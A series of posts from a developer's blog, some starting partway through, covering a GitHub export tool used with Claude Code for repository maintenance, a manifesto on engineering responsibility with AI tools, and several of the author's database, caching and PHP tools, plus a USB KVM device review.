GitHub-Backup and gh2md

There are existing tools for exporting GitHub data, but none of them did what I needed. gh2md is a Python tool that exports issues and pull requests to markdown. It works well for creating a readable archive, either as a single file or one file per issue, but it always does a full export. Every run fetches everything from scratch, with no concept of incremental sync or change detection.

GitHub-Backup takes a different approach: it clones all repositories of a user or organization and can optionally include issues, pull requests, and other metadata as JSON. It is designed for disaster recovery backups rather than for working with the data.

Both tools are useful for their intended purpose, but neither supports incremental sync or generates events for changes. I needed a tool that could run repeatedly on a schedule, only fetch what changed, and tell me exactly what happened since the last run. That’s what github-export does.

Incremental sync

On the first run, github-export fetches all data from a repository. On subsequent runs, it reads the synced_at timestamp from repo.yml and only re-fetches issues and pull requests that were updated since then. Each touched issue file is fully rebuilt from the GitHub timeline endpoint, so the local copy is always complete and accurate.

A typical incremental sync of 50 updated issues costs around 200 API requests, well within GitHub’s 5,000/hour rate limit. The tool also automatically sleeps when the rate limit gets low.

The event system

The key feature that enables AI-assisted maintenance is the event system. During each sync, github-export compares the freshly fetched data against what was previously on disk and generates individual event files in github-data/events/. This adds no extra API calls - it’s just a diff of the local state.

Event types include issue_created, issue_closed, issue_reopened, pr_created, pr_merged, pr_closed, and comment_created. Each event file is a markdown file with YAML frontmatter containing the event type, issue number, title, author, state, labels, and a link to the full issue file:

---
event: pr_created
number: 69
title: Add whiteblack color
author: lqj01
state: open
labels: []
file: github-data/issues/0069.md
repo: mevdschee/2048.c
url: https://github.com/mevdschee/2048.c/pull/69
exported_at: 2026-04-02T07:53:37Z
---

Maintenance with Claude Code

The event files are designed as a handoff point: an agent reads them, acts on them, and deletes them afterwards. Here is an example of how I use this with Claude Code to maintain my 2048.c repository.

After running github-export, I had 6 events: several new pull requests and an issue. I opened Claude Code and pointed it at the events directory. Claude read all the event files and gave me a prioritized summary:

• PR #66 - Spam (phone numbers, no code). Already closed, but no comment.
• Issue #67 + PR #68 - Feature request to add board rotation, with an implementation.
• PR #69 - A new white-to-black color scheme, with screenshots.
• PR #65 and #70 - Already closed (merged + reverted), no action needed.

For each item, Claude suggested an action and I decided what to do. For the spam PR, Claude posted a friendly comment. For the rotation feature, I decided it was out of scope (we want to keep the code minimal) and Claude posted appreciative comments explaining why, then closed both the issue and the PR. For the color scheme PR, I liked it, Claude suggested a thank-you comment, merged the PR, pulled the changes, and fixed a minor indentation issue. After everything was handled, Claude cleaned up the event files.

The entire session took a few minutes instead of the usual context-switching between GitHub notifications, reviewing diffs in the browser, and typing out responses. Claude handled all the gh commands while I made the decisions.

How it all fits together

The workflow is straightforward:

1. Run github-export mevdschee/2048.c (either manually or on a schedule)
2. Open Claude Code and point it at the events
3. Review the suggested actions and approve or adjust them
4. Claude executes the maintenance using gh commands

Because all the GitHub data is available locally as plain text, the AI agent can read issue histories, review PR diffs, and understand context without needing direct API access. The event files tell it what needs attention, and the full issue files give it the details.

Download

You can find the code on my GitHub:

https://github.com/mevdschee/github-export

The tool requires Go 1.22+ to build and a GITHUB_TOKEN environment variable for authentication. You can get a token with gh auth token if you have the GitHub CLI installed.

Enjoy!

We reject this.

Not because we fear change, but because we have used these tools, and we have seen what happens when people stop caring about the output. We have seen skills abandoned, standards dropped, and products shipped that no one can explain, maintain, or bring themselves to care about. We have been told this is progress.

It is not.

We are tired of the hype

In 2001, the Agile Manifesto reminded us that individuals and interactions matter more than processes and tools. That working software matters more than comprehensive documentation. That responding to change matters more than following a plan.

In 2009, the Software Craftsmanship Manifesto went further: not just working software, but well-crafted software. Not just responding to change, but steadily adding value. Not just individuals and interactions, but a community of professionals. Not just customer collaboration, but productive partnerships.

Now in 2026, the age of generative AI, we need go further still. Not just well-crafted software, but software we understand. Not just a community of professionals, but engineers who own what they ship. Not just productive partnerships, but human responsibility is required as well.

Because somewhere along the way, we confused generating code with building software. They are not the same thing. Writing the code was never the problem. And the stakes have never been higher: software is no longer a convenience, it is a matter of life and death.

What we value

Less code over more code, because every line is a liability. The best solution is the smallest one that works. AI can generate a thousand lines in seconds, and that is exactly the problem. Good engineering removes code. Great engineering never writes it in the first place.

Tested code over generated code, because if it is not tested, it does not work. It just appears to work, which is worse. And a passing test suite is not proof either, a thousand green checks that test nothing are just decoration. Valuable tests prove behavior that matters. They catch the bug before the user does. They are the only honest documentation your code will ever have.

Quality over speed, always, because sloppy work is not a tradeoff, it is a failure. There is no deadline, no sprint, no business case that justifies shipping something you know is sloppy designed. Quality is not a phase you add later. It is the way you work, or it is absent.

Value delivered over lines produced, because software exists to solve problems for real people. Not to impress a metrics dashboard. Not to fill a pull request. One function that saves a user ten minutes a day is worth more than ten thousand lines of generated scaffolding nobody asked for.

Good abstractions over fast implementations, because the cost of software is not writing it. It is reading it, changing it, debugging it, and explaining it to the next person. Code that is easy to change is more valuable than code that was fast to produce. If you cannot draw the boundaries, you do not understand the problem yet.

Responsibility over delegation, because production is not a playground. When the system fails at 3 AM, a human answers the call. Not a tool, not a prompt, not a process. You. If you shipped it, you own it. “The AI wrote it” is not an incident response. It never was. It never will be.

Understanding over output, because code you cannot explain is code you cannot fix. It does not matter how the code was produced. If you do not understand it, you cannot maintain it, evolve it, or take responsibility for it. The standard is the same regardless of the tool.

Craft over convenience, because we have seen what happens when people optimize purely for speed and stop holding themselves accountable for the result. You get software no one can maintain, teams that cannot onboard, systems that cannot evolve, and engineers that cannot feel proud of what they made because they do not understand it. We refuse to call that progress.

We use tools

We have always used tools. Compilers, frameworks, linters, CI pipelines, autocomplete, we are not afraid of leverage. AI is one more tool. A powerful one. We embrace it. Used well, it amplifies human creativity and frees us to spend less time on repetitive tasks and more time solving meaningful problems. But like every powerful tool, it demands more skill from the person using it, not less.

A calculator makes a mathematician faster. It does not make someone who has never studied mathematics into one. And when the result looks wrong, only the mathematician knows. The tool did not lower the bar. The tool never does. People do, when they stop paying attention.

The question was never whether to use AI. The question is whether we maintain the highest standards of quality and ethics while doing so. We are tired of the false binary: “adopt AI completely or get left behind.” As if the only options are full surrender or irrelevance. As if using your brain is now a competitive disadvantage.

We have heard this before. In the outsourcing era, the same promise was made: delegate everything, cut costs, move faster. Companies that outsourced completely lost the ability to understand their own systems, to react when things broke, and to innovate when the market shifted. The tools changed. The lesson did not.

We can do better.

What we commit to

1. If we cannot explain it, we do not ship it. No exceptions. No tool changes this. Every line that goes to production, we can defend.
2. We add as little code as possible. Less code, fewer problems, better software. The best solution is the simplest one.
3. We test what matters and we prove it works. Not test counts. Not coverage percentages. Proof. If the tests do not catch the bug before the user does, we failed.
4. We never compromise on quality. Not for deadlines, not for demos, not for “we will fix it later.” There is no shortcut that does not come back to haunt you. We do it right or we do not do it.
5. We own what runs. Production is ours. When it breaks, we fix it. A tool cannot be paged at 3 AM. We can. That is the job.
6. We keep learning. We practice our craft. We sharpen our skills. We do not let any tool make us lazy, dependent, or dull. The day we stop growing is the day we stop being engineers.

It was always about the people

The Agile Manifesto said it first: individuals and interactions over processes and tools. Somehow, twenty-five years later, we need to say it again, louder this time, because the narrative has shifted to one where the tool matters more than the person using it.

You are not a bottleneck. You are not a token budget. You are not a “human in the loop” rubberstamping machine output.

You are a maker, a thinker, and a professional. You decide what ships. You decide what is good enough. You bear the responsibility. That has not changed. No tool changes that.

The code we write is ours. The quality we demand is ours. The responsibility we carry is ours. Tools do not change that. Nothing does.

We built this profession with our hands and our minds. No tool changes the essence of the craft, or what it demands of those who practice it.

Inspired by the Agile Manifesto (2001), the Manifesto for Software Craftsmanship (2009), and the growing unease of every developer who is told that AI tools are a silver bullet.

That code is not hard, but it is everywhere. And as Robert C. Martin reminds us in Clean Code, duplication is a design smell, even when each copy is “small”. PathQL is my attempt to remove that duplication while keeping SQL in the center.

What is PathQL?

PathQL is not a new database language or an ORM. You still write SQL. The idea is simple: assign a JSON path to each table alias and let the engine merge flat rows into a nested JSON result. In PHP this is available through pathpdo. In Go this is available through pathsqlx. Both follow the same concept.

How it works

At a high level the process has four steps:

1. Parse the SQL query to detect tables, aliases, joins, and selected columns.
2. Infer one-to-many or one-to-one using foreign-key metadata and join type.
3. Build JSON paths for each selected column, optionally overridden by user-provided path hints.
4. Merge flat rows into a nested tree, deduplicating repeated parent objects.

The important thing is that the database still does what it is good at: filtering, joining, ordering, aggregating. PathQL only handles output shaping.

A concrete example

Suppose you want to query certain posts with their comments:

SELECT posts.id, posts.title, comments.id, comments.message
FROM posts
LEFT JOIN comments ON comments.post_id = posts.id
WHERE posts.id <= 2
ORDER BY posts.id, comments.id

Instead of returning a tabular result set like this:

PathQL returns (without having to add any path hints):

[
    {
        "id": 1,
        "title": "Hello",
        "comments": [
            { "id": 10, "message": "nice" },
            { "id": 11, "message": "great" }
        ]
    },
    {
        "id": 2,
        "title": "World",
        "comments": [
            { "id": 12, "message": "thanks" }
        ]
    }
]

No manual grouping loops, no temporary maps keyed by ids, no custom serializer for every endpoint.

Why this is better than plain SQL for APIs

To be precise: PathQL is not better than SQL for querying data. It is better than plain SQL plus hand-written reshaping code when your output is nested JSON. Benefits include:

• Less application code
• Clearer endpoint code
• No hidden query generation

In The Mythical Man-Month, Fred Brooks explains that conceptual integrity is a major source of quality. PathQL keeps one conceptual model: SQL for data, paths for shape. That is easier to reason about than mixing SQL, ORM behavior, and custom post-processing logic.

How it compares to GraphQL

PathQL and GraphQL solve a similar user need: retrieve exactly the data shape you want in a single request. But they optimize for different contexts. PathQL is different than GraphQL as it has the following properties:

• SQL-driven query model
• No resolver layer
• Single SQL statement can avoid N+1 by construction
• Great for teams that care about predictable performance

So this is not “PathQL versus GraphQL” in absolute terms. It is a trade-off. If your product is API-first with many consumer teams, GraphQL can be the right tool. If you mainly need efficient relational data access with nested JSON output, PathQL can be much simpler.

Why a simple idea can be powerful

Many useful tools are small ideas with strong composition. PathQL is one such idea: map table aliases to JSON paths, then merge rows. That is it. Because it is small and allows you to write arbitrary SQL, it works with all advanced SQL features (even subqueries and aggregates).

In A Philosophy of Software Design, John Ousterhout argues for deep modules: simple interfaces that hide complexity. PathQL aims to be exactly that. The interface is tiny, but it removes a recurring category of accidental complexity from application code.

Getting started

PHP (pathpdo):

• create a connection with PathPdo::create(...)
• call $db->pathQuery($sql, $params, $paths)

Go (pathsqlx):

• create your db
• call db.PathQuery(sql, params, paths)

You may even want to set up a PathQL server (pathql-server).

Links

• A path engine implementation in Go for PathQL
• PathQL path engine library for PHP’s PDO
• PathQL server implementation in Go using Mux

Use case: PHP-CRUD-API

I maintain a PHP project that is distributes as a single file (PHP-CRUD-API) and phpfilemerger automates the process of building. It produces that one-file distribution, keeping class order and namespaces intact so the merged file works just like the original project. It statically analyzes your codebase using PSR-4/PSR-0 mappings and inlines all dependencies in the correct order.

Why not PHAR?

PHAR archives can bundle code, autoloaders and metadata and are generally a more robust single-file format. They do what phpfilemerger does, but better. However, PHAR execution is frequently disabled or restricted on web hosting. The phar stream wrapper may be turned off and/or execution of PHAR archives is blocked for security reasons. Using phpfilemerger allows you to work around these restrictions. It provides you the convenience of single file deployment whenever PHAR is not an option.

Note: A less elegant way to work around the PHAR execution limitation is pharscript that creates a PHP wrapper script that bootstraps an embedded PHAR archive. See: https://github.com/mevdschee/pharscript

How it works

1. Parse the entry point with nikic/php-parser and extract all class references (extends, implements, trait use, type hints, new, etc.).
2. Resolve class names to files using Composer autoload mappings and vendor/composer metadata.
3. Build a dependency graph and topologically sort files so dependencies come before dependents.
4. Emit a single output file with declare(strict_types=1) once, inlined vendor files entries, and per-file // file: annotations.
5. Validate the generated file with php -l.

Examples

Merge src/index.php and all its dependencies into one file:

php phpfilemerger.phar merge src/index.php

Produce an includeable library (no entry logic):

php phpfilemerger.phar merge src/index.php --exclude-entry --output dist/lib.php

This can be used to include complex dependencies.

Limitations

Where PHAR archives can contain more or less any PHP project, phpfilemerger expects projects to be prepared with merging in mind. That usually means keeping class declarations and procedural bootstrap code separate, using PSR-style autoloading only, avoid usage of include/require and don’t do clever top-level conditional return tricks. These constraints do not conflict with common best practices for well-structured PHP libraries, but are a strict requirement for producing a merged single-file output with phpfilemerger.

• Dynamic class loading: new $className() and similar dynamic patterns cannot be statically analyzed and will not be automatically included.
• Multiple namespaces: files using more than one namespace block may not be handled correctly.
• File inclusions: any include/require other than vendor/autoload.php will trigger a warning and be skipped, since relative paths would break in the merged file.
• Top-level returns: these are disallowed in dependency files (they would abort execution of the entire merged file) and will cause an error.

Self compilation

Note that phpfilemerger project itself cannot be compiled into a single-file output (yet). The essential nikic/php-parser package uses a lot of include/require and even contains a top-level return. Attempting to merge the tool’s own source results in errors telling you which files offend the rules:

git clone https://github.com/mevdschee/phpfilemerger.git
cd phpfilemerger
composer install
php src/index.php merge src/index.php

This show that some complex projects are not easily turned into a single PHP file with this tool. If you want to help improve this tool, this is a great place to start!

See: https://github.com/mevdschee/phpfilemerger

Enjoy!

But what if not the reads, but the writes are the bottleneck? Each small insert or update creates its own transaction and its own fsync on the database. The database CPU and I/O become saturated. Adding more machines does not help as you cannot easily shard hot tables over multiple database servers.

I think that adding a few milliseconds of latency to allow batching of operations would make sense in many scenarios. Batched operations allow for aggregating write operations and thus higher throughput. I implemented a hint based feature called “batch hints”. Clients can now ask the proxy to wait up to N milliseconds and combine identical write statements into a single batched execution.

Batch hint syntax

Clients add a batch:N comment to write statements. N is the maximum wait time in milliseconds.

/* batch:10 */ INSERT INTO `logs` (level, message) VALUES (?, ?)
/* batch:50 */ UPDATE `settings` SET value = ? WHERE key = ?
/* batch:5 */ DELETE FROM `sessions` WHERE expired_at < ?

As you see it is as easy as adding a comment to lower the database load of some high frequent write queries.

Behavior and guarantees

• The hint only applies to INSERT, UPDATE and DELETE statements.
• Batch hints are ignored inside transactions (BEGIN/COMMIT).
• Queries are grouped by their query text (make use of parameters).
• The first request to a new group starts a timer for N milliseconds.
• Next requests join the group while the timer runs.
• The group executes on timer expiration or on maximum batch size.
• Each request receives its own result or error message.

Why this helps

Many workloads generate many similar writes. Logging, metrics ingestion and lightweight cache updates are examples. Each operation on its own causes an fsync and a protocol round trip. Combining many operations into one transaction reduces the number of fsyncs and reduces the CPU used for networking. The result is dramatically higher throughput.

In practice this means that the proxy has extra work to do, but as the proxy lives on the application servers and it still offloads the primary database. The system as a whole has become more scalable if you can offload the primary. This is true even though the whole system has become less efficient and the total CPU and memory needed to execute these write operations has increased.

Performance

I’ve created several benchmarks proof the perfmance improvements. Under sustained high write load the batch hints delivered a ten times less writes/fsyncs when using a batch:10 window. The test delayed statements by at most 10 milliseconds. The database handled the same number of rows per second with far fewer transactions. The latency increase stayed predictable and bounded by the hint value.

Implementation notes

The write batch manager keeps a map of batch groups keyed by the normalized query. Each group holds queued requests and a timer. The manager enqueues requests and starts the timer on the first arrival. When the timer fires the manager builds a batched statement and executes it. The manager then splits the result and returns per request responses.

The manager enforces safety rules. It refuses to batch statements that are inside a transaction (to prevent nested transactions). It also respects a maximum batch size. The default maximum batch size is 1000 operations. The manager exposes metrics for batch sizes and delays so you can tune windows in production.

Usage patterns and recommendations

• Use batch:1 for low latency but still some batching. This is suitable for user facing updates where small delays are acceptable.
• Use batch:10 for logging and event ingestion. This gives large throughput gains while keeping latency small.
• Use batch:100 for background cleanup tasks or offline analytics ingestion where latency does not matter at all.

Conclusion

Batch hints let you trade a bounded amount of latency for a large gain in throughput. For many high write workloads a 10x improvement is realistic when using a 10 millisecond window. Batching reduces transaction count and I/O pressure. The feature is safe to use and easy to enable by adding a single comment to client queries.

See: https://github.com/mevdschee/tqdbproxy

Links

• Cybertec PostgreSQL: commit_delay for better performance
• Postgresql Performance Effect of commit_delay and wal_writer_delay
• Runebook.dev - MariaDB’s Group Commit for Enhanced Performance
• TQDBProxy: A Go cache for MariaDB and PostgreSQL

It feels just like working on another virtual machine, but this machine is real and on your desk.

Real-world testing: Linux to Mac and Windows

This is where the Cytrence Kiwi Plus truly shines for me. I work primarily on Linux and need occasional access to a Mac or Windows machine. With the Cytrence Kiwi Plus I can work on multiple physical computers at the same time, without having to “switch”. It feels just like working on another virtual machine, but this machine is real and on your desk.

The Cytrence Kiwi Plus is especially valuable for consultants (like me) who spend most of their time working on a secure client’s laptop, using external keyboard, monitor and mouse. In the evenings I still want to be able to alt-tab to the client, but do some (open source) work on my Linux machine instead. The Kiwi Plus allows you to seamlessly toggle control between the client’s laptop and your Linux machine.

The Cytrence Kiwi Plus works exceptionally well in practice. I’ve used it to control a MacBook from my Linux workstation and a Windows laptop from the same Linux machine. The experience has been reliable and responsive. The software reliably detects the connected machine. The experience is seamless, with one caveat that is discussed below.

Video quality: the one compromise

The only real downside I encountered is the video quality. The sharpness filter appears to be configured too aggressively. This creates white artifacts around black letters on gray backgrounds. The issue occurs consistently on both Mac and Windows. You can still read everything clearly, but it is noticeable. Here is a comparison of Cytrence (top) and the actual device (bottom) at 8x amplification:

This seems to be a firmware tuning issue rather than a hardware limitation. Although brightness and saturation were adjustable with standard webcam controls (cameractrlsgtk.py), the sharpness was not. I like how the video source presents itself as a webcam, as this makes it easy to use in OBS.

NB: I contacted Cytrence and they might make the sharpness filter optional in a future software update.

Software reliability and the toolbar

The software quality is impressive. The toolbar is clean and intuitive, with a prominent connect button that works reliably every single time. I haven’t experienced any crashes, disconnections, or unreliable behavior from the application. The responsiveness is excellent, with minimal latency when interacting with the remote machine. When you work on an external machine you can really send any keypress (such as Apple/Windows key) by using the keyboard capture mode (release with Ctrl+Alt).

The maximum resolution is Full HD (1920x1080). However, this limitation barely matters if the remote machine isn’t your primary PC. If you’re working with an ultra-wide monitor on your main Linux machine, a Full HD window for the remote system fits comfortably alongside other work. The resolution is perfectly adequate for most tasks.

Build quality and connectivity

The casing is remarkably robust. The solid plastic and metal construction feels like it will last years of regular use. The product arrives with good quality USB cables. The only minor quibble is that the cables are somewhat short. You might want to plan your desk layout accordingly or use extension cables if needed.

The Cytrence Kiwi Plus works reliably on my Linux machine. However, I discovered one caveat: it doesn’t always work when connected through a USB 3 hub. This is worth noting if you have a highly connected desk setup. I was connecting through a busy 10 port USB 3 hub with some USB 2 devices connected. Try to connect directly if you run into trouble.

Compared to the competition

If you are comparing this to the Sipeed NanoKVM-USB (the device I reviewed earlier), I would choose the Cytrence over the Sipeed any day. The software quality is simply in a different league, it feels way more mature. The Sipeed is cheaper and works well for basic KVM tasks, but the Cytrence’s reliable toolbar, responsive interface, and feature completeness make it well worth its slightly higher price.

Conclusion

At its price point, the Cytrence Kiwi Plus is a premium and justified investment for anyone who regularly works across multiple machines. The video quality artifact is the only meaningful limitation, although minor (and may be improved). The software is reliable and responsive. The build quality is excellent. The overall design elegantly solves the multi-machine workflow problem. Whether you’re a consultant juggling client systems, a developer testing across platforms, or simply someone who prefers one Linux workstation with occasional access to Mac or Windows machines, this is a worthy tool.

See: https://www.cytrence.com/kiwiplus

Links

• Cytrence - Kiwi: makes your laptop a KVM over USB & much more
• Openterface - Mini-KVM: Turning Laptop into a KVM Console
• Sipeed - NanoKVM-USB: Introduction
• Cytrence - Meet the New Kiwi+

1. The Art of Amplification

Patrick’s pointed questions draw out decades of wisdom. When asked what separates great architects from mediocre ones, Gregor’s answer reframes the entire role:

“Architects shouldn’t try to be the smartest people, but they should make everybody else smarter. As an amplifier.”

I believe this is true. Bad architects hoard decision power, while great ones elevate their teams.

2. Embracing Simplicity

The conversation then shifts to complexity. Patrick brings up a GitHub engineer’s controversial take on keeping things simple, and Gregor adds crucial nuance:

“We’ve gotten so in love with complexity that if we actually cut through it, we sometimes doubt ourselves. Don’t stumble on the finish line.”

In other words: We often mistake complexity for sophistication, but true mastery makes the complex seem obvious.

3. Mapping the Map

Perhaps most practical is Gregor’s approach to resolving disagreements. He calls it “mapping the map”: establish a common framing before debating solutions. His monolith vs. microservices example shows how expanding from two options to four quadrants transforms difficult debates into constructive discussions.

“The good architects are usually the ones where magically everything goes well and nobody knows exactly why.”

A great insight, because when everyone shares the same map, alignment happens naturally.

Conclusion

Patrick and Gregor have created something truly special. If you’re on the architecture path (or aspire to be) this is essential viewing. It’s genuinely insightful, refreshingly honest, and admirably concise. Do yourself a favor and watch it (and subscribe).

See: https://www.youtube.com/watch?v=F8X9_Dp3ZUk

Now, let’s talk about AI. LLMs are like a megaphone for your habits. If you know what you want, you can try out ideas at lightning speed. But if you don’t, you end up with a “Big Ball of Mud a.k.a. Spaghetti Code”. It’s so easy to make a mess when the machine never gets tired. You can’t rely on the model to deliver high quality software. You have to give it context. You have to explain what matters, what the rules are, what the tests should check, and why you made the choices you did. That’s context engineering, and it’s a real job. It’s not just a prompt you paste in and forget. It’s the glue that keeps your intent alive, even when the code changes a hundred times.

So what do you do? You do what good engineers have always done. You plan. You write things down. You test as you go. You check your work, and you help others learn how to do the same. You take responsibility for what you build. If you build it, you run it. That’s the deal. Don’t just count lines of code or how fast someone types. Look at what lasts, what works, and what makes life easier for the next person who reads your code. If you get this right, AI will make you faster and better. If you get it wrong, AI will just help you make a bigger mess, faster.

If this resonates with you and you want to go deeper, check out the idea of context engineering. It’s all about managing what information you give to your AI tools, and when. The quality of your results depends on what you feed the model. Good context means better output, less slop, and fewer headaches for everyone. There’s an effective way and a useless way to use AI’s limited context window, and knowing the difference makes all the difference. For a practical take on this, read my article “Context Engineering: Mastering AI Tools”.

see: https://www.tqdev.com/2025-context-engineering-mastering-ai-tools

Links

• TQdev.com - Context Engineering: Mastering AI Tools
• Goodreads.com - Robert C. Martin - Quotes
• University of Illinois - Big Ball of Mud a.k.a. Spaghetti Code
• Thoughtworks.com - “You build it, you run it”

Custom client libraries for PHP, TypeScript, and Go allow you to (optionally) specify a cache time-to-live (TTL) as an extra argument to a query method. Queries with a TTL are cached for the specified duration. After expiry, the first request refreshes the cache (blocking), while others briefly get stale data until the refresh completes.

See: https://github.com/mevdschee/tqdbproxy

What is TQDBProxy?

TQDBProxy is a caching database proxy implemented in Go, and can be used as both as an embedded library and as a standalone server. It speaks the MariaDB (MySQL) as well as the PostgreSQL protocol, including authentication, meaning that in server mode it works out-of-the-box with existing clients.

TQDBProxy allows you to cache SELECT queries with a configurable TTL and route them to read replicas. It supports database sharding by database name to named backends (defaulting to “main”). It ensures that only a single query is sent to healthy replicas during warmup and refresh. Queries are automatically tracked by source file and line number for observability and Prometheus-style query metrics are exposed labeled by this source location. It also supports hot-reloading of the configuration.

I’ve learned that these features may be useful in high performance environments.

Demo

Interactive clients work without restrictions (easy for debugging) as you will see in the demo below:

mariadb -u tqdbproxy -p -P 3307 tqdbproxy --comments

Note that the “–comments” argument is essential (to allow sending comments).

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 19905
Server version: 10.11.14-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [tqdbproxy]> /* ttl:60 */ SELECT SLEEP(1);
+----------+
| SLEEP(1) |
+----------+
|        0 |
+----------+
1 row in set (1,001 sec)

MariaDB [tqdbproxy]> SHOW TQDB STATUS;
+---------------+---------+
| Variable_name | Value   |
+---------------+---------+
| Shard         | main    |
| Backend       | primary |
+---------------+---------+
2 rows in set (0,000 sec)

MariaDB [tqdbproxy]> /* ttl:60 */ SELECT SLEEP(1);
+----------+
| SLEEP(1) |
+----------+
|        0 |
+----------+
1 row in set (0,000 sec)

MariaDB [tqdbproxy]> SHOW TQDB STATUS;
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Shard         | main  |
| Backend       | cache |
+---------------+-------+
2 rows in set (0,000 sec)

MariaDB [tqdbproxy]>

Performance

The proxy adds significant overhead for trivial queries. It is more than 50% slower for sub-millisecond operations. MariaDB drops from 398K to 174K RPS, and PostgreSQL from 267K to 121K RPS when running through the proxy instead of direct connections.

However, this overhead becomes negligible for real-world queries. At 1ms query latency, the difference shrinks to just 11% (91K vs 81K RPS for MariaDB). For most applications where database queries take several milliseconds, the proxy overhead is barely measurable.

The tradeoff pays off in three ways: each application server can run its own proxy with local cache, reducing network hops to the database. SELECT queries with TTL hints are routed to read replicas, offloading the primary. And cache hits bypass the database entirely, achieving high RPS regardless of original query complexity.

In real world scenarios, you can handle 10x-100x more load by adding cache hints. The metrics help you to find the expensive queries that need cache hints. If that is not enough, you can add some light-weight read replicas to offload the primary even more.

How it Works

The approach relies on custom client libraries for PHP, TypeScript, and Go. These clients add a ttl parameter to the already familiar query methods on these platforms. Next to this TTL, the caller’s source file and line number are automatically added to SQL comments. The proxy extracts this metadata and exposes Prometheus-style query cost metrics labeled by source location.

TQDBProxy speaks native MariaDB and PostgreSQL wire protocols. Clients connect to the proxy exactly as they would to the database server. Even the authentication is forwarded properly by the proxy. The proxy parses incoming queries, classifies them as cacheable or not, and extracts TTL hints from SQL comments.

SELECT queries with a TTL hint are cacheable. For these queries, the proxy first checks its cache. On a hit, it returns the cached response immediately. On a miss, it routes the query to an available replica (or primary if no replicas are configured). The proxy then caches the response before returning it to the client. Backends are organized into named shards, with the default shard being “main”. The proxy uses the database name to determine which shard to use.

When a cache entry does not exist (cold cache), the proxy ensures only a single query is sent to the database. This prevents concurrent queries for the same key during warmup.

When a cache entry is expired, the first request after expiry triggers a refresh (blocking until the new value is available). Subsequent requests during the refresh serve stale data until the refresh completes. This prevents concurrent queries for the same key during refresh.

Non-cacheable queries, such as INSERT, UPDATE, DELETE, SELECT queries without a TTL hint, or queries that are part of a transaction always go to the primary of the selected shard.

The proxy registers metrics for cache hits/misses, query latency, and more.

Conclusion

TQDBProxy is not (yet) a replacement for established proxies like pgpool-II, MaxScale, or ProxySQL, but it is trying to get there. It provides a lot of features that have proven useful in high performance environments. It is easy to use: install a client library, call queryWithTTL() instead of query(), and you get caching with stale reads, replica routing, and metrics of expensive queries by source file and line number.

Disclaimer: I built this as a learning project. Test thoroughly before production use.

See: https://github.com/mevdschee/tqdbproxy

Links

• pgpool-II: PostgreSQL proxy for connection pooling, caching and HA
• MariaDB MaxScale: Advanced database proxy for HA and scalability
• ProxySQL: High Performance MySQL & PostgreSQL Proxy

See: https://github.com/mevdschee/tqmemory

What is TQMemory?

TQMemory is implemented in Go, and can be used as both as an embedded library and as a standalone server. It speaks the Memcached protocol (both text and binary), meaning that in server mode it works out-of-the-box with existing clients.

Performance

TQMemory is optimized for write-heavy workloads with larger values, such as SQL query results. Benchmarks were run with Unix sockets, 10 clients, and 10KB values:

With 4 threads (and over sockets), TQMemory achieves 225K SET and 261K GET requests per second, compared to Memcached’s 149K SET and 281K GET. This means SET operations are about 51% faster than Memcached, while GET operations are roughly 7% slower.

I measured that about 80% of the overhead of TQMemory GET was due to network I/O. That’s why when you embed TQMemory as a package in your Go application, it is significantly faster. With 4 threads, the embedded package achieves 403K SET and 2.6M GET requests per second. In certain niche use cases, such high performance can be a game-changer.

How it Works

TQMemory uses a sharded, lock-free worker-based architecture:

• Sharded Cache: Keys are distributed across workers via FNV-1a hash
• Lock-Free Workers: Each shard has a dedicated goroutine handling all operations via a channel
• No Locks: Single-threaded per shard means no RWMutex or lock contention
• LRU Eviction: When memory limit is reached, least recently used items are evicted

Each worker maintains its own map for O(1) lookups, a min-heap for TTL expiration, and a linked list for LRU ordering. This provides predictable latency and simple reasoning about concurrency.

Use Case: SQL Query Result Caching

The primary use case I have built TQMemory for is caching expensive database queries. When embedded as a Go package, you get near-instant cache hits:

import "github.com/mevdschee/tqmemory/pkg/tqmemory"

// Initialize: 4 shards, 512MB memory limit
cache := tqmemory.NewShardedCache(4, 512*1024*1024)

func GetProducts(db *sql.DB, categoryID int) ([]Product, error) {
    key := fmt.Sprintf("products:cat:%d", categoryID)
    
    // Cache hit: ~2.6M RPS capable
    if data, _, err := cache.Get(key); err == nil {
        var products []Product
        json.Unmarshal(data, &products)
        return products, nil
    }
    
    // Cache miss: query database
    products, err := queryProductsFromDB(db, categoryID)
    if err != nil {
        return nil, err
    }
    
    // Cache for 5 minutes
    data, _ := json.Marshal(products)
    cache.Set(key, data, 0, 300)
    
    return products, nil
}

Conclusion

TQMemory is a specialized tool for Go developers who want a faster Memcache using in-process caching. I cannot recommend it as a replacement for Memcached as a network service, as Memcached has slightly better read performance (GET is ~7% faster) and TQMemory is not battle tested, while Memcached is rock solid.

Disclaimer: I’ve built TQMemory as a learning project for high performance caching. While benchmarks are promising, test thoroughly before using it in production.

NB: You may want to check out “Otter: In-memory caching library” as it seems to be a very performant and highly optimized option for Go programmers that is actually used by large projects like Centrifugo and FrankenPHP.

See: https://github.com/mevdschee/tqmemory

See: https://github.com/mevdschee/tqcache

What is TQCache?

Implemented in Go, TQCache works as both an embeddable library and a standalone server. It speaks the Memcached protocol (both text and binary), meaning it works out-of-the-box with existing clients, including PHP’s native memcached session handler.

The Trade-off: Memory vs. Disk

The primary architectural difference between TQCache and its alternatives is how it stores data. Memcached stores everything in RAM and it is fast. Redis (typically) keeps the dataset in RAM for speed, periodically dumping to disk or appending to a log for persistence. TQCache keeps only the keys in RAM, while the actual values rely on the operating system’s page cache and are stored on disk (using fixed-size records).

The “Niche” Advantage

This architecture makes TQCache extremely memory efficient. In benchmarks with 100,000 keys (10KB payloads), TQCache used approximately 70-83MB of RAM, whereas Redis used ~1372MB.

If you have a dataset larger than your available RAM, TQCache allows you to serve it with reasonable performance, relying on fast SSDs/NVMe, whereas Memcached would evict keys.

During benchmarks, TQCache used roughly the same total memory as Redis. The difference: it didn’t reserve that memory. The OS kept the disk blocks hot in its block cache, giving TQCache fast access without dedicated RAM.

Realistic Performance & Limitations

It is important to be realistic: TQCache is generally slower than in-memory solutions, especially for writes, because it prioritizes durability guarantees (or at least disk-backed storage).

